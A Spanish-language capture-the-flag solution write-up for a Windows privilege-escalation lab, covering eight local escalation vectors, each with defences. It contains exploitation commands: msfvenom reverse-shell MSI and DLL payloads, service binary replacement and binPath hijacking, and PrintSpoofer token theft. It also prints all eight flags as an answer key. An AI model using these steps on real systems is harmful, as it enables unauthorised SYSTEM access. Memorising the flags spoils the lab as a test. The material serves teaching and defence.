Ghost AcademyGhostOffensive · Ghost Academy
GhostOffensiveMódulo 13SOLO SOLUCIÓN

Writeup — Meridian Workstation

← Volver al capítulo 13

Atención: contiene las 8 flags. Inténtalo primero por tu cuenta.
Sobre las salidas. La identificación de cada vector se verifica de verdad en el laboratorio (enviando la respuesta al verificador). Los comandos de explotación son ilustrativos: se ejecutarían sobre un Windows real, que este laboratorio no incluye. Están aquí para que sepas exactamente qué harías tras identificar el vector.

Vector 1 — Ruta de servicio sin comillas

★★

En el informe:

kali@lab
$ SERVICE_NAME: MeridianSync
  BINARY_PATH_NAME: C:\Program Files\Meridian Sync\sync service\syncsvc.exe
  Users escribe en: C:\Program Files\Meridian Sync\  (F)

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ # colocar un binario en la primera ruta interpretable escribible
copy rev.exe "C:\Program Files\Meridian Sync\sync.exe"
sc stop MeridianSync & sc start MeridianSync   # arranca sync.exe como SYSTEM

Flag: GO{el_espacio_sin_comillas_abre_la_puerta}

Respuesta: MeridianSync. Defensa: entrecomillar siempre las rutas de servicio con espacios y restringir permisos en Program Files.

Vector 2 — Permisos débiles de servicio

★★

En el informe:

kali@lab
$ accesschk -uwcqv jdoe MeridianBackup  ->  RW MeridianBackup  (SERVICE_CHANGE_CONFIG)
  SERVICE_START_NAME: LocalSystem

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ sc config MeridianBackup binPath= "C:\Windows\Temp\rev.exe"
sc stop MeridianBackup & sc start MeridianBackup   # rev.exe corre como SYSTEM

Flag: GO{si_puedes_reconfigurar_el_servicio_eres_system}

Respuesta: MeridianBackup. Defensa: que los usuarios no tengan SERVICE_CHANGE_CONFIG sobre servicios del sistema.

Vector 3 — AlwaysInstallElevated

★★

En el informe:

kali@lab
$ HKLM\...\Installer\AlwaysInstallElevated  0x1
HKCU\...\Installer\AlwaysInstallElevated  0x1   # las dos a 1

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=.. LPORT=.. -f msi -o x.msi
msiexec /quiet /qn /i x.msi   # la carga se ejecuta como SYSTEM

Flag: GO{alwaysinstallelevated_es_un_msi_como_system}

Respuesta: AlwaysInstallElevated. Defensa: no habilitar esta política nunca; poner ambas claves a 0.

Vector 4 — Credenciales de autologon

★

En el informe:

kali@lab
$ Winlogon\AutoAdminLogon   1
Winlogon\DefaultUserName   MERIDIAN-WS01\svc_admin
Winlogon\DefaultPassword   M3ridian-Admin-2023!

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ runas /user:svc_admin cmd     # o usar la clave directamente; svc_admin es privilegiado

Flag: GO{el_autologon_guarda_la_clave_en_claro}

Respuesta: M3ridian-Admin-2023!. Defensa: no usar autologon; si es imprescindible, guardar la credencial con LSA Secrets, no en claro.

Vector 5 — SeImpersonatePrivilege (Potato)

★★★

En el informe:

kali@lab
$ whoami /priv  ->  SeImpersonatePrivilege  Enabled

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ PrintSpoofer.exe -i -c cmd     # o JuicyPotato/GodPotato según la versión de Windows
# fuerza a un proceso SYSTEM a autenticarse y roba su token

Flag: GO{seimpersonate_es_una_patata_caliente}

Respuesta: SeImpersonatePrivilege. Defensa: minimizar las cuentas con este privilegio y mantener el sistema parcheado (las variantes de Potato dependen de la versión).

Vector 6 — DLL hijacking

★★★

En el informe:

kali@lab
$ Procmon: NAME NOT FOUND  ...\sync service\SyncHelper.dll
  Users escribe en esa carpeta: (F)

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ # generar una DLL maliciosa con el nombre esperado y colocarla
msfvenom -p windows/x64/... -f dll -o SyncHelper.dll
copy SyncHelper.dll "C:\Program Files\Meridian Sync\sync service\"
# al reiniciar, MeridianSync (SYSTEM) la carga

Flag: GO{la_dll_que_falta_la_pones_tu}

Respuesta: SyncHelper.dll. Defensa: rutas de carga de DLL absolutas, y directorios de la aplicación no escribibles por usuarios.

Vector 7 — Tarea programada con script editable

★★

En el informe:

kali@lab
$ \MeridianReport  ->  Run As: SYSTEM  ->  powershell -File C:\Scripts\report.ps1
  icacls C:\Scripts\report.ps1  ->  Users:(M)

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ echo (tu payload) >> C:\Scripts\report.ps1   # se ejecutará como SYSTEM en el próximo disparo

Flag: GO{una_tarea_system_con_script_editable}

Respuesta: report.ps1. Defensa: que los scripts ejecutados por tareas privilegiadas no sean modificables por usuarios.

Vector 8 — Autorun con binario escribible

★★

En el informe:

kali@lab
$ HKLM\...\Run  MeridianAgent  C:\ProgramData\MeridianAgent\agent.exe
  icacls agent.exe  ->  Users:(F)

Cómo se explotaría (ilustrativo, sobre un Windows real):

kali@lab
$ copy rev.exe C:\ProgramData\MeridianAgent\agent.exe   # se ejecuta al iniciar sesión un admin

Flag: GO{el_autorun_apunta_a_algo_que_puedes_escribir}

Respuesta: agent.exe. Defensa: los binarios de autoarranque deben residir en rutas protegidas y no escribibles por usuarios.

Resumen

#VectorSeñal en la enumeración
1Unquoted service pathRuta con espacios sin comillas + carpeta escribible
2Permisos débiles de servicioSERVICE_CHANGE_CONFIG para el usuario
3AlwaysInstallElevatedLas dos claves del registro a 1
4Credenciales de autologonDefaultPassword en claro en Winlogon
5SeImpersonate (Potato)Privilegio habilitado en whoami /priv
6DLL hijackingDLL NAME NOT FOUND + directorio escribible
7Tarea programadaTarea SYSTEM + script con permiso (M) para Users
8AutorunEntrada Run + binario con permiso (F) para Users